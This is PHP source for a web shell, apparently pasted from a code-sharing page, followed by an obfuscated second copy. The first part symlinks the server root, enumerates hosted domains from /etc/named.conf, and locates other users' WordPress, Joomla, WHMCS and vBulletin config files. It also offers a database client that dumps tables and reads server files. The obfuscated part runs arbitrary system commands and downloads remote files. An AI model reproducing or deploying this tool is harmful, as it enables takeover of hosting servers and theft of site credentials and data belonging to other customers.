echo "<table align=center class='main' border=0 > | |
<tr bgcolor=Red><td>Count</td><td>domains</td><td>users</td></tr>"; | |
$count=1; | |
foreach($d0mains as $d0main){ | |
if(@eregi("zone",$d0main)){ | |
preg_match_all('#zone "(.*)"#', $d0main, $domains); | |
flush(); | |
if(strlen(trim($domains[1][0])) > 2){ | |
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0])); | |
echo "<tr><td>".$count."</td><td><a href=http://www.".$domains[1][0]."/>".$domains[1][0]."</a></td><td>".$user['name']."</td></tr>"; flush(); | |
$count++; | |
}}} | |
echo "</center></table>"; | |
} | |
if(isset($_POST['p2']) && $_POST['p2']=='whole') | |
{ | |
@set_time_limit(0); | |
echo "<center>"; | |
@mkdir('sym',0777); | |
$IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; | |
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w'); | |
fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1); | |
@symlink('/','sym/root'); | |
$IIIIIIIIIlIl = basename('_FILE_'); | |
$IIIIIIIIIllI = @file('/etc/named.conf'); | |
if(!$IIIIIIIIIllI) | |
{ | |
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; | |
} | |
else | |
{ | |
echo "<table align='center' width='40%' class='main'><td>Domains</td><td>Users</td><td>symlink </td>"; | |
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){ | |
if(@eregi('zone',$IIIIIIIIIll1)){ | |
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11); | |
flush(); | |
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){ | |
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0])); | |
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ; | |
@symlink('/','sym/root'); | |
$IIIIIIII1I1l = $IIIIIIIIIl11[1][0]; | |
$IIIIIIII1I11 = '\.ir'; | |
$IIIIIIII1lII = '\.il'; | |
if (@eregi("$IIIIIIII1I11",$IIIIIIIIIl11[1][0]) or @eregi("$IIIIIIII1lII",$IIIIIIIIIl11[1][0]) ) | |
{ | |
$IIIIIIII1I1l = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$IIIIIIIIIl11[1][0].'</div>'; | |
} | |
echo " | |
<tr> | |
<td> | |
<a target='_blank' href=http://www.".$IIIIIIIIIl11[1][0].'/>'.$IIIIIIII1I1l.' </a> | |
</td> | |
<td> | |
'.$IIIIIIIII1I1['name']." | |
</td> | |
<td> | |
<a href='sym/root/home/".$IIIIIIIII1I1['name']."/public_html' target='_blank'>symlink </a> | |
</td> | |
</tr>"; | |
flush(); | |
} | |
} | |
} | |
} | |
echo "</center></table>"; | |
} | |
if(isset($_POST['p3']) && $_POST['p3']=='config') | |
{ | |
echo "<center>"; | |
@mkdir('sym',0777); | |
$IIIIIIIIIIl1 = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; | |
$IIIIIIIIII1I =@fopen ('sym/.htaccess','w'); | |
@fwrite($IIIIIIIIII1I ,$IIIIIIIIIIl1); | |
@symlink('/','sym/root'); | |
$IIIIIIIIIlIl = basename('_FILE_'); | |
$IIIIIIIIIllI = @file('/etc/named.conf'); | |
if(!$IIIIIIIIIllI) | |
{ | |
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; | |
} | |
else | |
{ | |
echo " | |
<table align='center' width='40%' class='main' ><td> Domains </td><td> Script </td>"; | |
foreach($IIIIIIIIIllI as $IIIIIIIIIll1){ | |
if(@eregi('zone',$IIIIIIIIIll1)){ | |
preg_match_all('#zone "(.*)"#',$IIIIIIIIIll1,$IIIIIIIIIl11); | |
flush(); | |
if(strlen(trim($IIIIIIIIIl11[1][0])) >2){ | |
$IIIIIIIII1I1 = posix_getpwuid(@fileowner('/etc/valiases/'.$IIIIIIIIIl11[1][0])); | |
$IIIIIIIII1l1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/wp-config.php'; | |
$IIIIIIIII11I=get_headers($IIIIIIIII1l1); | |
$IIIIIIIII11l=$IIIIIIIII11I[0]; | |
$IIIIIIIII111=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/blog/wp-config.php'; | |
$IIIIIIIIlIII=get_headers($IIIIIIIII111); | |
$IIIIIIIIlIIl=$IIIIIIIIlIII[0]; | |
$IIIIIIIIlII1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/configuration.php'; | |
$IIIIIIIIlIlI=get_headers($IIIIIIIIlII1); | |
$IIIIIIIIlIll=$IIIIIIIIlIlI[0]; | |
$IIIIIIIIlIl1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/joomla/configuration.php'; | |
$IIIIIIIIlI1I=get_headers($IIIIIIIIlIl1); | |
$IIIIIIIIlI1l=$IIIIIIIIlI1I[0]; | |
$IIIIIIIIlI11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/includes/config.php'; | |
$IIIIIIIIllII=get_headers($IIIIIIIIlI11); | |
$IIIIIIIIllIl=$IIIIIIIIllII[0]; | |
$IIIIIIIIllI1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/vb/includes/config.php'; | |
$IIIIIIIIlllI=get_headers($IIIIIIIIllI1); | |
$IIIIIIIIllll=$IIIIIIIIlllI[0]; | |
$IIIIIIIIlll1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/forum/includes/config.php'; | |
$IIIIIIIIll1I=get_headers($IIIIIIIIlll1); | |
$IIIIIIIIll1l=$IIIIIIIIll1I[0]; | |
$IIIIIIIIll11=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'public_html/clients/configuration.php'; | |
$IIIIIIIIl1II=get_headers($IIIIIIIIll11); | |
$IIIIIIIIl1Il=$IIIIIIIIl1II[0]; | |
$IIIIIIIIl1I1=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/support/configuration.php'; | |
$IIIIIIIIl1II=get_headers($IIIIIIIIl1I1); | |
$IIIIIIIIl1lI=$IIIIIIIIl1II[0]; | |
$IIIIIIIIl1ll=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php'; | |
$IIIIIIIIl1l1=get_headers($IIIIIIIIl1ll); | |
$IIIIIIIIl11I=$IIIIIIIIl1l1[0]; | |
$IIIIIIIIl11l=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/submitticket.php'; | |
$IIIIIIIIl111=get_headers($IIIIIIIIl11l); | |
$IIIIIIII1III=$IIIIIIIIl111[0]; | |
$IIIIIIII1IIl=$IIIIIIIIIIIl.'/sym/root/home/'.$IIIIIIIII1I1['name'].'/public_html/client/configuration.php'; | |
$IIIIIIII1II1=get_headers($IIIIIIII1IIl); | |
$IIIIIIII1IlI=$IIIIIIII1II1[0]; | |
$IIIIIIII1Ill = strpos($IIIIIIIII11l,'200'); | |
$IIIIIIII1I1I=' '; | |
if (strpos($IIIIIIIII11l,'200') == true ) | |
{ | |
$IIIIIIII1I1I="<a href='".$IIIIIIIII1l1."' target='_blank'>Wordpress</a>"; | |
} | |
elseif (strpos($IIIIIIIIlIIl,'200') == true) | |
{ | |
$IIIIIIII1I1I="<a href='".$IIIIIIIII111."' target='_blank'>Wordpress</a>"; | |
} | |
elseif (strpos($IIIIIIIIlIll,'200') == true and strpos($IIIIIIII1III,'200') == true ) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIl11l."' target='_blank'>WHMCS</a>"; | |
} | |
elseif (strpos($IIIIIIIIl1lI,'200') == true) | |
{ | |
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1I1."' target='_blank'>WHMCS</a>"; | |
} | |
elseif (strpos($IIIIIIIIl11I,'200') == true) | |
{ | |
$IIIIIIII1I1I =" <a href='".$IIIIIIIIl1ll."' target='_blank'>WHMCS</a>"; | |
} | |
elseif (strpos($IIIIIIIIlIll,'200') == true) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlII1."' target='_blank'>Joomla</a>"; | |
} | |
elseif (strpos($IIIIIIIIlI1l,'200') == true) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlIl1."' target='_blank'>Joomla</a>"; | |
} | |
elseif (strpos($IIIIIIIIllIl,'200') == true) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlI11."' target='_blank'>vBulletin</a>"; | |
} | |
elseif (strpos($IIIIIIIIllll,'200') == true) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIllI1."' target='_blank'>vBulletin</a>"; | |
} | |
elseif (strpos($IIIIIIIIll1l,'200') == true) | |
{ | |
$IIIIIIII1I1I=" <a href='".$IIIIIIIIlll1."' target='_blank'>vBulletin</a>"; | |
} | |
else | |
{ | |
continue; | |
} | |
$IIIIIIII1I1l = $IIIIIIIII1I1['name'] ; | |
echo '<tr><td><a href=http://www.'.$IIIIIIIIIl11[1][0].'/>'.$IIIIIIIIIl11[1][0].'</a></td> | |
<td>'.$IIIIIIII1I1I.'</td></tr>';flush(); | |
} | |
} | |
} | |
} | |
echo "</center></table>"; | |
} | |
echo "</div>"; | |
madfooter(); | |
} | |
function madsql() | |
{ | |
class DbClass { | |
var $type; | |
var $link; | |
var $res; | |
function DbClass($type) { | |
$this->type = $type; | |
} | |
function connect($host, $user, $pass, $dbname){ | |
switch($this->type) { | |
case 'mysql': | |
if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
break; | |
case 'pgsql': | |
$host = explode(':', $host); | |
if(!$host[1]) $host[1]=5432; | |
if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; | |
break; | |
} | |
return false; | |
} | |
function selectdb($db) { | |
switch($this->type) { | |
case 'mysql': | |
if (@mysql_select_db($db))return true; | |
break; | |
} | |
return false; | |
} | |
function query($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = @mysql_query($str); | |
break; | |
case 'pgsql': | |
return $this->res = @pg_query($this->link,$str); | |
break; | |
} | |
return false; | |
} | |
function fetch() { | |
$res = func_num_args()?func_get_arg(0):$this->res; | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_fetch_assoc($res); | |
break; | |
case 'pgsql': | |
return @pg_fetch_assoc($res); | |
break; | |
} | |
return false; | |
} | |
function listDbs() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->query("SHOW databases"); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
break; | |
} | |
return false; | |
} | |
function listTables() { | |
switch($this->type) { | |
case 'mysql': | |
return $this->res = $this->query('SHOW TABLES'); | |
break; | |
case 'pgsql': | |
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
break; | |
} | |
return false; | |
} | |
function error() { | |
switch($this->type) { | |
case 'mysql': | |
return @mysql_error(); | |
break; | |
case 'pgsql': | |
return @pg_last_error(); | |
break; | |
} | |
return false; | |
} | |
function setCharset($str) { | |
switch($this->type) { | |
case 'mysql': | |
if(function_exists('mysql_set_charset')) | |
return @mysql_set_charset($str, $this->link); | |
else | |
$this->query('SET CHARSET '.$str); | |
break; | |
case 'pgsql': | |
return @pg_set_client_encoding($this->link, $str); | |
break; | |
} | |
return false; | |
} | |
function loadFile($str) { | |
switch($this->type) { | |
case 'mysql': | |
return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
break; | |
case 'pgsql': | |
$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); | |
$r=array(); | |
while($i=$this->fetch()) | |
$r[] = $i['file']; | |
$this->query('drop table wso2'); | |
return array('file'=>implode("\n",$r)); | |
break; | |
} | |
return false; | |
} | |
function dump($table, $fp = false) { | |
switch($this->type) { | |
case 'mysql': | |
$res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
$create = mysql_fetch_array($res); | |
$sql = $create[1].";\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
$this->query('SELECT * FROM `'.$table.'`'); | |
$head = true; | |
while($item = $this->fetch()) { | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
if($v == null) | |
$item[$k] = "NULL"; | |
elseif(is_numeric($v)) | |
$item[$k] = $v; | |
else | |
$item[$k] = "'".@mysql_real_escape_string($v)."'"; | |
$columns[] = "`".$k."`"; | |
} | |
if($head) { | |
$sql = 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; | |
$head = false; | |
} else | |
$sql = "\n\t,(".implode(", ", $item).')'; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
} | |
if(!$head) | |
if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); | |
break; | |
case 'pgsql': | |
$this->query('SELECT * FROM '.$table); | |
while($item = $this->fetch()) { | |
$columns = array(); | |
foreach($item as $k=>$v) { | |
$item[$k] = "'".addslashes($v)."'"; | |
$columns[] = $k; | |
} | |
$sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; | |
if($fp) fwrite($fp, $sql); else echo($sql); | |
} | |
break; | |
} | |
return false; | |
} | |
}; | |
$db = new DbClass($_POST['type']); | |
if(@$_POST['p2']=='download') { | |
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
$db->selectdb($_POST['sql_base']); | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
if(empty($_POST['file'])) { | |
ob_start("ob_gzhandler", 4096); | |
header("Content-Disposition: attachment; filename=dump.sql"); | |
header("Content-Type: text/plain"); | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v); | |
exit; | |
} elseif($fp = @fopen($_POST['file'], 'w')) { | |
foreach($_POST['tbl'] as $v) | |
$db->dump($v, $fp); | |
fclose($fp); | |
unset($_POST['p2']); | |
} else | |
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); | |
} | |
madhead(); | |
echo " | |
<div class=header> | |
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
<td><select name='type'><option value='mysql' "; | |
if(@$_POST['type']=='mysql')echo 'selected'; | |
echo ">MySql</option><option value='pgsql' "; | |
if(@$_POST['type']=='pgsql')echo 'selected'; | |
echo ">PostgreSql</option></select></td> | |
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> | |
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> | |
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; | |
$tmp = "<input type=text name=sql_base value=''>"; | |
if(isset($_POST['sql_host'])){ | |
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
switch($_POST['charset']) { | |
case "Windows-1251": $db->setCharset('cp1251'); break; | |
case "UTF-8": $db->setCharset('utf8'); break; | |
case "KOI8-R": $db->setCharset('koi8r'); break; | |
case "KOI8-U": $db->setCharset('koi8u'); break; | |
case "cp866": $db->setCharset('cp866'); break; | |
} | |
$db->listDbs(); | |
echo "<select name=sql_base><option value=''></option>"; | |
while($item = $db->fetch()) { | |
list($key, $value) = each($item); | |
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
} | |
echo '</select>'; | |
} | |
else echo $tmp; | |
}else | |
echo $tmp; | |
echo "</td> | |
<td><input type=submit value='>>' onclick='fs(d.sf);'></td> | |
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
</tr> | |
</table> | |
<script> | |
s_db='".@addslashes($_POST['sql_base'])."'; | |
function fs(f) { | |
if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; | |
if(f.p1) f.p1.value=''; | |
if(f.p2) f.p2.value=''; | |
if(f.p3) f.p3.value=''; | |
} | |
} | |
function st(t,l) { | |
d.sf.p1.value = 'select'; | |
d.sf.p2.value = t; | |
if(l && d.sf.p3) d.sf.p3.value = l; | |
d.sf.submit(); | |
} | |
function is() { | |
for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
} | |
</script>"; | |
if(isset($db) && $db->link){ | |
echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
if(!empty($_POST['sql_base'])){ | |
$db->selectdb($_POST['sql_base']); | |
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
$tbls_res = $db->listTables(); | |
while($item = $db->fetch($tbls_res)) { | |
list($key, $value) = each($item); | |
if(!empty($_POST['sql_count'])) | |
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); | |
$value = htmlspecialchars($value); | |
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; | |
} | |
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
if(@$_POST['p1'] == 'select') { | |
$_POST['p1'] = 'query'; | |
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
$num = $db->fetch(); | |
$pages = ceil($num['n'] / 30); | |
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
echo " of $pages"; | |
if($_POST['p3'] > 1) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
if($_POST['p3'] < $pages) | |
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
$_POST['p3']--; | |
if($_POST['type']=='pgsql') | |
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
else | |
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
echo "<br><br>"; | |
} | |
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
$db->query(@$_POST['p2']); | |
if($db->res !== false) { | |
$title = false; | |
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; | |
$line = 1; | |
while($item = $db->fetch()) { | |
if(!$title) { | |
echo '<tr>'; | |
foreach($item as $key => $value) | |
echo '<th>'.$key.'</th>'; | |
reset($item); | |
$title=true; | |
echo '</tr><tr>'; | |
$line = 2; | |
} | |
echo '<tr class="l'.$line.'">'; | |
$line = $line==1?2:1; | |
foreach($item as $key => $value) { | |
if($value == null) | |
echo '<td><i>null</i></td>'; | |
else | |
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
} | |
echo '</tr>'; | |
} | |
echo '</table>'; | |
} else { | |
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
} | |
} | |
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
echo htmlspecialchars($_POST['p2']); | |
echo "</textarea><br/><input type=submit value='Execute'>"; | |
echo "</td></tr>"; | |
} | |
echo "</table></form><br/>"; | |
if($_POST['type']=='mysql') { | |
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
if($db->fetch()) | |
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; | |
} | |
if(@$_POST['p1'] == 'loadfile') { | |
$file = $db->loadFile($_POST['p2']); | |
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
} | |
} else { | |
echo htmlspecialchars($db->error()); | |
} | |
echo '</div>'; | |
madfooter(); | |
} | |
function madselfrm() | |
{ | |
if($_POST['p1'] == 'yes') | |
if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
die('Shell has been removed'); | |
else | |
echo 'unlink error!'; | |
if($_POST['p1'] != 'yes') | |
madhead(); | |
echo "<div class=header><pre class=ml1 style='margin-top:5px'>"; | |
echo " | |
/^\ | |
_.-`: / \ :'-._ | |
,` : | | : '. | |
,` \,| |,/ '. | |
/ `-...-` \ | |
: .'. : | |
| . ' . | | |
| ' . ' | | |
: '.' : | |
\ ,-'''-, / | |
`. /'| |'\ ,' | |
`._ ; | | ; _,' | |
`-.: | | :,-' | |
| | | |
| | | |
| | | |
| | | |
| | | |
"; | |
echo '<br>Kill Me?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
madFooter(); | |
} | |
if( empty($_POST['a']) ) | |
if(isset($default_action) && function_exists('mad' . $default_action)) | |
$_POST['a'] = $default_action; | |
else | |
$_POST['a'] = 'FilesMan'; | |
if( !empty($_POST['a']) && function_exists('mad' . $_POST['a']) ) | |
call_user_func('mad' . $_POST['a']); | |
exit; | |
?> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
?><?php | |
/** | |
* @13th2r Ikr1m ALI | |
* @c2pyr4ght a06a | |
*/ | |
@d5f4n5('VERSION','6.0'); | |
@5rr2r_r5p2rt4ng(E_ALL ^ E_NOTICE); | |
@s5ss42n_st1rt(); | |
@4n4_s5t('5rr2r_l2g',NULL); | |
@4n4_s5t('l2g_5rr2rs',0); | |
@4n4_s5t('m1x_5x5c3t42n_t4m5',0); | |
@s5t_t4m5_l4m4t(0); | |
@s5t_m1g4c_q32t5s_r3nt4m5(0); | |
4f(g5t_m1g4c_q32t5s_gpc()) { | |
f3nct42n m1dstr4psl1sh5s($1rr1y) { | |
r5t3rn 4s_1rr1y($1rr1y) ? 1rr1y_m1p('m1dstr4psl1sh5s', $1rr1y) : str4psl1sh5s($1rr1y); | |
} | |
$_POST = m1dstr4psl1sh5s($_POST); | |
} | |
$d5f13lt_1ct42n = 'F4l5sM1n'; | |
$d5f13lt_3s5_1j1x = tr35; | |
$d5f13lt_ch1rs5t = 'W4nd2ws-6ai6'; | |
4f (strt2l2w5r(s3bstr(PHP_OS,0,o))=="w4n") | |
$sys='w4n'; | |
5ls5 | |
$sys='3n4x'; | |
$h2m5_cwd = @g5tcwd(); | |
4f(4ss5t($_POST['c'])) | |
@chd4r($_POST['c']); | |
$cwd = @g5tcwd(); | |
4f($sys == 'w4n') | |
{ | |
$h2m5_cwd = str_r5pl1c5("\\", "/", $h2m5_cwd); | |
$cwd = str_r5pl1c5("\\", "/", $cwd); | |
} | |
4f($cwd[strl5n($cwd)-6] != '/' ) | |
$cwd .= '/'; | |
f3nct42n m1dEx($4n) { | |
$23t = ''; | |
4f (f3nct42n_5x4sts('5x5c')) { | |
@5x5c($4n,$23t); | |
$23t = @j24n("\n",$23t); | |
} 5ls54f (f3nct42n_5x4sts('p1ssthr3')) { | |
2b_st1rt(); | |
@p1ssthr3($4n); | |
$23t = 2b_g5t_cl51n(); | |
} 5ls54f (f3nct42n_5x4sts('syst5m')) { | |
2b_st1rt(); | |
@syst5m($4n); | |
$23t = 2b_g5t_cl51n(); | |
} 5ls54f (f3nct42n_5x4sts('sh5ll_5x5c')) { | |
$23t = sh5ll_5x5c($4n); | |
} 5ls54f (4s_r5s23rc5($f = @p2p5n($4n,"r"))) { | |
$23t = ""; | |
wh4l5(!@f52f($f)) | |
$23t .= fr51d($f,60au); | |
pcl2s5($f); | |
} | |
r5t3rn $23t; | |
} | |
$d2wn=@g5tcwd(); | |
4f($sys=="w4n") | |
$d2wn.='\\'; | |
5ls5 | |
$d2wn.='/'; | |
4f(4ss5t($_POST['rtd2wn'])) | |
{ | |
$3rl = $_POST['rtd2wn']; | |
$n5wfn1m5 = $d2wn. b1s5n1m5($3rl); | |
$f4l5 = f2p5n ($3rl, "rb"); | |
4f ($f4l5) { | |
$n5wf = f2p5n ($n5wfn1m5, "wb"); | |
4f ($n5wf) | |
wh4l5(!f52f($f4l5)) { | |
fwr4t5($n5wf, fr51d($f4l5, 60au * 8 ), 60au * 8 ); | |
} | |
} | |
4f ($f4l5) { | |
fcl2s5($f4l5); | |
} | |
4f ($n5wf) { | |
fcl2s5($n5wf); | |
} | |
} | |
f3nct42n m1dh51d() | |
{ | |
4f(5mpty($_POST['ch1rs5t'])) | |
$_POST['ch1rs5t'] = $GLOBALS['d5f13lt_ch1rs5t']; | |
$fr55Sp1c5 = @d4skfr55sp1c5($GLOBALS['cwd']); | |
$t2t1lSp1c5 = @d4sk_t2t1l_sp1c5($GLOBALS['cwd']); | |
$t2t1lSp1c5 = $t2t1lSp1c5?$t2t1lSp1c5:6; | |
$2n="<f2nt c2l2r=#0F0> ON </f2nt>"; | |
$2f="<f2nt c2l2r=r5d> OFF </f2nt>"; | |
$n2n5="<f2nt c2l2r=#0F0> NONE </f2nt>"; | |
4f(f3nct42n_5x4sts('c3rl_v5rs42n')) | |
$c3rl=$2n; | |
5ls5 | |
$c3rl=$2f; | |
4f(f3nct42n_5x4sts('mysql_g5t_cl45nt_4nf2')) | |
$mysql=$2n; | |
5ls5 | |
$mysql=$2f; | |
4f(f3nct42n_5x4sts('mssql_c2nn5ct')) | |
$mssql=$2n; | |
5ls5 | |
$mssql=$2f; | |
4f(f3nct42n_5x4sts('pg_c2nn5ct')) | |
$pg=$2n; | |
5ls5 | |
$pg=$2f; | |
4f(f3nct42n_5x4sts('2c4_c2nn5ct')) | |
$2r=$2n; | |
5ls5 | |
$2r=$2f; | |
4f(@4n4_g5t('d4s1bl5_f3nct42ns')) | |
$d4sf3n=@4n4_g5t('d4s1bl5_f3nct42ns'); | |
5ls5 | |
$d4sf3n="All F3nct42ns En1bl5"; | |
4f(@4n4_g5t('s1f5_m2d5')) | |
$s1f5_m2d5s="<f2nt c2l2r=r5d>ON</f2nt>"; | |
5ls5 | |
$s1f5_m2d5s="<f2nt c2l2r=#0F0 >OFF</f2nt>"; | |
4f(@4n4_g5t('2p5n_b1s5d4r')) | |
$2p5n_b=@4n4_g5t('2p5n_b1s5d4r'); | |
5ls5 | |
$2p5n_b=$n2n5; | |
4f(@4n4_g5t('s1f5_m2d5_5x5c_d4r')) | |
$s1f5_5x5=@4n4_g5t('s1f5_m2d5_5x5c_d4r'); | |
5ls5 | |
$s1f5_5x5=$n2n5; | |
4f(@4n4_g5t('s1f5_m2d5_4ncl3d5_d4r')) | |
$s1f5_4ncl3d5=@4n4_g5t('s1f5_m2d5_4ncl3d5_d4r'); | |
5ls5 | |
$s1f5_4ncl3d5=$n2n5; | |
4f(!f3nct42n_5x4sts('p2s4x_g5t5g4d')) | |
{ | |
$3s5r = @g5t_c3rr5nt_3s5r(); | |
$34d = @g5tmy34d(); | |
$g4d = @g5tmyg4d(); | |
$gr23p = "?"; | |
} 5ls5 | |
{ | |
$34d = @p2s4x_g5tpw34d(p2s4x_g5t534d()); | |
$g4d = @p2s4x_g5tgrg4d(p2s4x_g5t5g4d()); | |
$3s5r = $34d['n1m5']; | |
$34d = $34d['34d']; | |
$gr23p = $g4d['n1m5']; | |
$g4d = $g4d['g4d']; | |
} | |
$cwd_l4nks = ''; | |
$p1th = 5xpl2d5("/", $GLOBALS['cwd']); | |
$n=c23nt($p1th); | |
f2r($4=0; $4<$n-6; $4++) { | |
$cwd_l4nks .= "<1 hr5f='#' 2ncl4ck='g(\"F4l5sM1n\",\""; | |
f2r($j=0; $j<=$4; $j++) | |
$cwd_l4nks .= $p1th[$j].'/'; | |
$cwd_l4nks .= "\")'>".$p1th[$4]."/</1>"; | |
} | |
$dr4v5s = ""; | |
